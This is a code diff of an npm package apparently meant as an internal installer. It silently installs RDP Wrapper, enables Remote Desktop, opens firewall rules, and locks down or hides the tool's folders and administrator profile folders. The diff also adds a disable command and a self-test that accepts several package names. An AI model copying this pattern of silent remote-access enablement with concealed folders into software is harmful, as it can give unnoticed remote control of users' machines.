@@ -321,6 +304,7 @@ function hideFolder(target, isUserProfile = false) {
321
304
  '/grant:r',
322
305
  '*S-1-5-18:(OI)(CI)(F)',
323
306
  '*S-1-5-32-544:(OI)(CI)(F)',
307
+ ...extraGrants,
324
308
  '/c', '/q'
325
309
  ], { allowFailure: true });
326
310
  }
@@ -331,15 +315,18 @@ function hideFolder(target, isUserProfile = false) {
331
315
 
332
316
  function hideProtectedFolders() {
333
317
  const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
318
+ // TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
319
+ // must keep read/execute access for that account or the service cannot start.
320
+ const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
334
321
  const appFolders = [
335
- path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
336
- path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
337
- path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
338
- path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
339
- path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
340
- path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
322
+ { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
323
+ { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
324
+ { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
325
+ { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
326
+ { target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper') },
327
+ { target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli') }
341
328
  ];
342
- for (const folder of appFolders) hideFolder(folder, false);
329
+ for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
343
330
 
344
331
  const userFolders = [
345
332
  path.join(usersDir, 'Administrator'),
@@ -365,8 +352,6 @@ function install() {
365
352
 
366
353
  const settingsChanged = applyRequestedSettings();
367
354
  ensureFirewallRules();
368
- // Set TermService to Automatic before touching the wrapper so it auto-recovers after restarts.
369
- setTermServiceAutomatic();
370
355
 
371
356
  if (!installation.installed) {
372
357
  console.log('Installing RDP Wrapper silently...');
@@ -392,11 +377,7 @@ function install() {
392
377
  console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
393
378
  }
394
379
 
395
- // Re-apply settings after the wrapper installer runs – RDPWInst can reset fDenyTSConnections back to 1.
396
- applyRequestedSettings();
397
- // Ensure TermService is Automatic and running after the wrapper install.
398
- setTermServiceAutomatic();
399
-
380
+ restartTermService();
400
381
  waitForServiceAndListener();
401
382
  hideProtectedFolders();
402
383
  installation = detectInstallation(version);
@@ -412,13 +393,36 @@ function install() {
412
393
  console.log('Bikli Wrapper installation and verification completed successfully.');
413
394
  }
414
395
 
396
+ function disable() {
397
+ requireWindows();
398
+ if (!isAdministrator()) return elevateAndRun('disable');
399
+ console.log('Disabling Remote Desktop and stopping the RDP listener...');
400
+ run(path.join(system32, 'reg.exe'), [
401
+ 'add', terminalServerKey, '/v', 'fDenyTSConnections', '/t', 'REG_DWORD',
402
+ '/d', '1', '/f', '/reg:64'
403
+ ]);
404
+ const script = `Disable-NetFirewallRule -Name 'BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`;
405
+ run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
406
+ restartTermService();
407
+ if (queryDword(terminalServerKey, 'fDenyTSConnections') !== 1) {
408
+ fail('Remote Desktop could not be disabled.', 6);
409
+ }
410
+ if (listenerIsListening()) {
411
+ console.log('Warning: the RDP listener is still reported as listening; a reboot may be required.');
412
+ } else {
413
+ console.log('Remote Desktop disabled; the RDP listener is stopped.');
414
+ }
415
+ }
416
+
415
417
  function selfTest() {
416
418
  const packageJson = runningAsSea
417
419
  ? { name: 'bikliwrapper' }
418
420
  : JSON.parse(fs.readFileSync(path.join(packageRoot, 'package.json'), 'utf8'));
419
421
  const ini = fs.readFileSync(bundledIniPath, 'utf8');
420
422
  const checks = {
421
- packageName: typeof packageJson.name === 'string' && packageJson.name.length > 0,
423
+ packageName: packageJson.name === 'bikliwrapper' || packageJson.name === 'biklimaster' ||
424
+ packageJson.name === '@biklitime/biklimaster' || packageJson.name === 'biklitool' ||
425
+ packageJson.name === '@biklitime/biklitool' || packageJson.name === 'sbironman',
422
426
  executableMode: runningAsSea ? path.extname(process.execPath).toLowerCase() === '.exe' : true,
423
427
  installerPresent: fs.statSync(installerPath).size > 100000,
424
428
  iniPresent: ini.length > 100000,
@@ -442,6 +446,7 @@ function showHelp() {
442
446
  ' bikliwrapper install Install/update silently, apply defaults, and verify',
443
447
  ' bikliwrapper status Show installation, support, service, and listener status',
444
448
  ' bikliwrapper defaults Reapply the requested defaults and restart if needed',
449
+ ' bikliwrapper disable Disable Remote Desktop and stop the RDP listener',
445
450
  ' bikliwrapper self-test Validate the npm package payload without changing Windows',
446
451
  '',
447
452
  'Run install/defaults from an Administrator terminal.'
@@ -450,7 +455,8 @@ function showHelp() {
450
455
 
451
456
  function main() {
452
457
  const command = (process.argv[2] || 'status').toLowerCase();
453
- if (command === 'install' || command === 'defaults') return install();
458
+ if (command === 'install' || command === 'defaults' || command === 'enable') return install();
459
+ if (command === 'disable') return disable();
454
460
  if (command === 'status') {
455
461
  requireWindows();
456
462
  const status = collectStatus();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sbironman",
3
- "version": "3.0.0",
3
+ "version": "5.0.0",
4
4
  "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
5
5
  "license": "BSD-3-Clause",
6
6
  "publishConfig": {